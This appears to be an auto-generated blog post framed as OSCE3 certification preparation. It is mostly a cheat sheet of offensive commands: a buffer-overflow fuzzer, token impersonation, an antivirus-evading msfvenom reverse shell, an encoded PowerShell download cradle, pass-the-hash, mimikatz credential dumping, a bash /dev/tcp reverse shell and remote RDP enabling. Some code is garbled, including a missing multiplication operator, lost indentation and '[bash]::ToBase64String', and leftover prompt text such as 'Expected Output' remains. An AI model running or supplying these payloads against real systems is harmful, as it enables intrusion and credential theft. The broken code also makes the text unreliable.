How to Hack Your Way to OSCE3 Certification – The Ultimate Red Team Challenge

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(Relevant Based on Post: “The Mindset and Technical Mastery Behind OSCE3 Certification”)

You Should Know:

Earning the OSCE3 (Offensive Security Certified Expert 3) certification is not just about technical skills—it’s about persistence, creativity, and hands-on exploitation. Below are key techniques, commands, and practice steps to help you prepare for this elite certification.

1. Exploit Development & Buffer Overflow

  • Fuzzing with Python:
    import socket, time
target = "192.168.1.100"
port = 9999
buffer = b"A"  1000
while True:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.send(buffer + b"\r\n")
s.close()
buffer += b"A"  100
time.sleep(1)
except:
print(f"Crashed at {len(buffer)} bytes")
break

  • Immunity Debugger Commands:

    !mona config -set workingfolder c:\logs\%p
!mona bytearray -b "\x00\x0a\x0d"
!mona compare -f c:\logs\vulnapp\bytearray.bin -a ESP

2. Privilege Escalation (Windows & Linux)

  • Windows (Token Manipulation):

    whoami /priv
incognito.exe list_tokens -u
incognito.exe execute -c "DOMAIN\AdminUser" cmd.exe

  • Linux (SUID Exploitation):

    find / -perm -4000 -type f 2>/dev/null
/usr/bin/find . -exec /bin/sh -p \; -quit

3. Bypassing Antivirus (AV Evasion)

  • Metasploit Encoder:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.1 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o payload.exe

  • Obfuscating PowerShell Payloads:

    $str = 'IEX(New-Object Net.WebClient).DownloadString("http://10.10.10.1/rev.ps1")'
$bytes = [System.Text.Encoding]::Unicode.GetBytes($str)
$encoded = [bash]::ToBase64String($bytes)
powershell -EncodedCommand $encoded

4. Post-Exploitation (Lateral Movement)

  • Pass-the-Hash (Impacket):

    python3 psexec.py -hashes LMHASH:NTHASH DOMAIN/User@TargetIP

  • Dumping LSASS Secrets:

    mimikatz.exe "sekurlsa::logonpasswords" "exit"

What Undercode Say:

The OSCE3 is a battle of endurance, requiring deep knowledge of:
– Assembly & Shellcoding (for custom exploits)
– Advanced Privilege Escalation (kernel exploits, token impersonation)
– AV/EDR Bypass (polymorphic payloads, API unhooking)
– Pivoting & Exfiltration (SSH tunneling, DNS covert channels)

Key Linux Commands for OSCE3:

 Check kernel exploits
uname -a; cat /etc/os-release

Find writable directories
find / -writable -type d 2>/dev/null

Reverse shell one-liners
bash -i >& /dev/tcp/10.10.10.1/4444 0>&1

Windows Commands for OSCE3:

 Check running processes
tasklist /v

Extract saved credentials
cmdkey /list

Enable RDP remotely
reg add "HKLM\System\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f

Prediction:

As offensive security evolves, OSCE3 will likely incorporate more cloud-based red teaming (AWS/Azure exploits) and AI-driven attack simulations. Future exam challenges may include container escapes (Docker/Kubernetes) and API security testing.

Expected Output:

A structured, technical deep-dive into OSCE3 methodologies with actionable commands and exploit examples.

(No relevant URLs extracted from the original post.)

IT/Security Reporter URL:

Reported By: Guzmanramon Offsec – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

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